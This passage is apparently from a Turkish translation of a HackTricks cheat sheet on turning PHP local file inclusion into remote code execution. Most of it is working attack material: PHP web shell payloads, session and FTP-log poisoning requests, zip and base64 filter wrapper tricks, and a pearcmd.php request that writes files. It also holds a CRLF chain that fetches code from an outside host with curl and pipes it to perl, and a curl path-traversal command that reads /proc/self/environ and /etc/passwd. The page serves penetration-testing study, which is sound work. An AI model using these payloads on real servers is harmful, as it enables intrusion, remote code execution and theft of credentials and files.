Eğer bir dosya upload edebiliyorsanız, içine shell payload’u inject edin (ör. : <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Dosyanın okunabilirliğini korumak için resimlerin, doc ve pdf dosyalarının meta verilerine enjekte etmek en iyisidir
Via Zip fie upload
PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP sessions aracılığıyla
Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin.
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHP’de bu sessions /var/lib/php5/sess\[PHPSESSID]_ dosyalarına kaydedilir.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Cookie’yi <?php system('cat /etc/passwd');?> olarak ayarla
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
LFI’yi kullanarak PHP session dosyasını include edin
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
ssh ile
ssh aktifse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve <HOME>/.ssh/id_rsa dosyasına erişmeyi deneyin.
İle vsftpd logları
FTP sunucusu vsftpd’nin logları /var/log/vsftpd.log konumundadır. Bir Local File Inclusion (LFI) zafiyeti mevcutsa ve erişime açık bir vsftpd sunucusuna erişilebiliyorsa, aşağıdaki adımlar değerlendirilebilir:
- Giriş işlemi sırasında username alanına bir PHP payload’u enjekte edin.
- Enjeksiyondan sonra, LFI’yi kullanarak sunucu loglarını /var/log/vsftpd.log dosyasından alın.
php base64 filtresi ile (base64 kullanarak)
As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with “.php”, and it would just ignore the “.” and append “php” to the base64. İşte bir örnek payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
php filters ile (dosya gerekmez)
This writeup php filters kullanarak çıktı olarak rastgele içerik üretebileceğinizi açıklar. Bu temelde include için rastgele php code üretebileceğiniz, bunu bir dosyaya yazmaya gerek kalmadan yapabileceğiniz anlamına gelir.
segmentation fault ile
Yükleyin /tmp içinde temporary olarak saklanacak bir dosya, sonra aynı istekte bir segmentation fault tetikleyin; bu durumda geçici dosya silinmeyecek ve onu arayabilirsiniz.
LFI2RCE via Segmentation Fault
Nginx temp file storage ile
Eğer bir Local File Inclusion bulduysanız ve Nginx PHP’nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
PHP_SESSION_UPLOAD_PROGRESS ile
Eğer bir Local File Inclusion bulduysanız, hatta session’ınız olmasa bile ve session.auto_start Off ise: PHP_SESSION_UPLOAD_PROGRESS’i multipart POST verisinde sağlarsanız, PHP oturumu sizin için etkinleştirecektir. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Windows’ta geçici dosya yüklemeleri ile
Eğer bir Local File Inclusion bulduysanız ve sunucu Windows üzerinde çalışıyorsa, RCE elde edebilirsiniz:
pearcmd.php + URL args ile
As explained in this post, script /usr/local/lib/phppearcmd.php php docker imajlarında varsayılan olarak bulunur. Ayrıca, eğer bir URL parametresi = içermiyorsa argüman olarak kullanılacağı belirtildiği için script’e URL üzerinden argüman geçirmek mümkündür. Bkz. ayrıca watchTowr’s write-up ve Orange Tsai’s “Confusion Attacks”.
Aşağıdaki istek, içeriği <?=phpinfo()?> olan /tmp/hello.php dosyasını oluşturur:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Aşağıdakiler, RCE elde etmek için bir CRLF vuln’ünü istismar eder (kaynak: here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
phpinfo() aracılığıyla (file_uploads = on)
Eğer bir Local File Inclusion bulduysanız ve phpinfo() çıktısı veren bir dosya file_uploads = on ise RCE elde edebilirsiniz:
compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure aracılığıyla
Eğer bir Local File Inclusion bulduysanız ve geçici dosyanın yolunu exfiltrate edebiliyorsanız AMA server dahil edilecek dosyanın PHP işaretleri olup olmadığını kontrol ediyorsa, bu kontrolü bir Race Condition ile atlatmayı deneyebilirsiniz:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
eternal waiting + bruteforce ile
Eğer LFI’yi suistimal edip geçici dosyaları upload edebiliyor ve server’ın PHP yürütmesini hang edecek şekilde yapabiliyorsanız, geçici dosyayı bulmak için saatler boyunca dosya adlarını brute force edebilirsiniz:
Fatal Error’a
Eğer /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar dosyalarından herhangi birini include ederseniz. (O hatayı fırlatmak için aynı dosyayı 2 kez include etmeniz gerekir).
Bunun nasıl faydalı olduğunu bilmiyorum ama faydalı olabilir.
PHP Fatal Error’a neden olsanız bile, yüklenen PHP geçici dosyaları silinir.
.png)
İstemciden traversal dizilerini koruyun
Bazı HTTP istemcileri, istek sunucuya ulaşmadan önce ../ öğelerini normalize eder veya çökertir, bu da directory traversal payload’larını bozar. Log/download endpoint’larında kullanıcı kontrollü bir dosya adını birleştiren noktalarda traversal’ı olduğu gibi tutmak için curl --path-as-is kullanın; ayrıca /proc gibi pseudo-files için --ignore-content-length ekleyin:
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
Amaçlanan dizinden kaçana kadar ../ segmentlerinin sayısını ayarlayın, sonra dump /etc/passwd, /proc/self/cwd/app.py, veya diğer source/config dosyalarını.
Referanslar
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


